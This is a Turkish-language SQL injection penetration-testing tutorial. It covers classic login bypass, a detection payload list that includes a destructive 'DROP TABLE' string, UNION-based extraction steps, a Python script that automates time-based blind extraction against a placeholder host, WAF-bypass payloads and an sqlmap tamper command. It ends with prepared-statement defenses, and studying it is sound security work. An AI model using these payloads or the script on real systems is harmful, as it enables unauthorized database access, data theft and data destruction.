SQL Injection: Kör Enjeksiyondan Veritabanı Sahibine - Kapsamlı Sızma Testi Rehberi
Araştırma Kategorisi • Web Uygulama Güvenliği
SQL Injection: Kör Enjeksiyondan Veritabanı Sahibine
SQL Injection (SQLi), OWASP Top 10 listesinde yıllarca birinci sırada kalan, tüm zamanların en yıkıcı web güvenlik açıklarından biridir. Bu makalede konuyu sıfırdan ele alıyor, klasik enjeksiyondan son derece sinsi Blind SQL Injection tekniklerine, WAF atlatma yöntemlerinden otomatik araç kullanımına kadar geniş bir perspektif sunuyoruz.
1. Zafiyet Nedir? Kökü ve Mantığı
SQL Injection, bir web uygulamasının kullanıcıdan aldığı verinin hiçbir arındırma (sanitize) işleminden geçirilmeden SQL sorgusuna birleştirilmesiyle oluşur. Temel sorun, veri ile komutun birbirinden ayrılmamasıdır. Şu örneği düşünelim: bir kullanıcı giriş formunda kullanıcı adı kutusuna admin yazdığında sunucu şu sorguyu çalıştırır:
Ancak saldırgan kullanıcı adı kutusuna admin'-- yazdığında sorgu şuna dönüşür:
MySQL ve MSSQL'de -- yorum satırı başlangıcıdır. Şifre kontrolü sorgudan düşer ve sistem sizi admin olarak içeri alır. İşin özü bu kadar basit — ama etkileri son derece yıkıcı olabilir.
2. SQLi Türleri ve Tespit Yöntemleri
UNION veya hata tabanlı. Sonuç doğrudan sayfada görünür. En hızlı sömürüleni.
Hata mesajı veya veri görünmez. Sayfa davranışındaki TRUE/FALSE farkından veri çıkarılır.
Sunucu yanıt süresine göre veri çıkarılır. SLEEP() veya WAITFOR DELAY kullanılır.
Tespit için en temel adım hedef parametreye tek tırnak (') eklemek ve hata mesajı veya davranış değişikliği gözlemlemektir. Daha sistematik bir yaklaşım için şu payload listesi kullanılabilir:
' OR 1=1--
' OR 1=1#
'; DROP TABLE users--
1' AND SLEEP(5)--
1' AND (SELECT * FROM (SELECT(SLEEP(5)))--
1 UNION SELECT NULL,NULL,NULL--
3. UNION-Based Enjeksiyon ile Veri Çıkarma
UNION saldırısı, orijinal sorgunu yan yana başka bir sorgu eklemenizi sağlar. Çalışması için iki koşul gerekir: her iki sorgunun aynı sayıda sütunu olmalı ve veri türleri uyumlu olmalı.
Adım 1 — Sütun sayısını bul:
' ORDER BY 2-- → Hata vermez
' ORDER BY 3-- → Hata verir → Sütun sayısı: 2
Adım 2 — Hangi sütunlar ekranda görünüyor? (yansıma tespiti)
Adım 3 — Veritabanı adını çek:
Adım 4 — Tablo adlarını çek:
Adım 5 — Kullanıcı tablasından hash çek:
4. Time-Based Blind SQLi ve Python Otomasyon Betiği
Sunucu hiçbir şey yansıtmıyorsa, veritabanı karakterlerini SLEEP() komutuyla ölçülen gecikmeye göre karakter karakter çekeriz. Aşağıdaki Python betiği bunu otomatize eder:
def extract_char(url, param, pos, threshold=4):
for char_code in range(32, 127):
payload = f"1' AND IF(ASCII(SUBSTRING((SELECT database()),{pos},1))={char_code},SLEEP({threshold}),0)--"
start = time.time()
r = requests.get(url, params={param: payload}, timeout=threshold+2)
if time.time() - start >= threshold:
return chr(char_code)
return None
db_name = ""
for i in range(1, 20):
c = extract_char("https://target.com/search", "id", i)
if c: db_name += c
else: break
print(f"[+] Veritabanı adı: {db_name}")
5. WAF Atlatma Teknikleri
Modern web uygulamaları çoğunlukla WAF (Web Application Firewall) arkasında çalışır. Klasik payloadlar engellenir. Temel atlatma yöntemleri:
Büyük/küçük harf karışımı:
SeLeCt * FrOm UsErSURL/HEX Encoding:
%27 OR 0x61%3D0x61--Yorum enjeksiyonu:
SE/**/LECT 1,2,3--Sqlmap tamper scripts:
sqlmap -u URL --tamper=between,randomcase,charencode6. Korunma: Prepared Statements ve Güvenli Kodlama
SQLi'nin çözümü nettir: kullanıcı verisini SQL sorgusundan ayırmak. Bu da Prepared Statements (Parametreli Sorgular) ile sağlanır.
$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];
// DOĞRU - Prepared Statement (PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
- ✓ Tüm kullanıcı girdileri için PDO veya MySQLi prepared statements kullanın.
- ✓ Hata mesajlarını production ortamında kullanıcıya göstermeyin. Loglayın.
- ✓ Veritabanı kullanıcısına yalnızca ihtiyaç duyduğu yetkiyi verin (en az ayrıcalık ilkesi).
- ✓ WAF ek bir koruma katmanı sağlar, ancak asıl güvenlik kod seviyesinde uygulanmalıdır.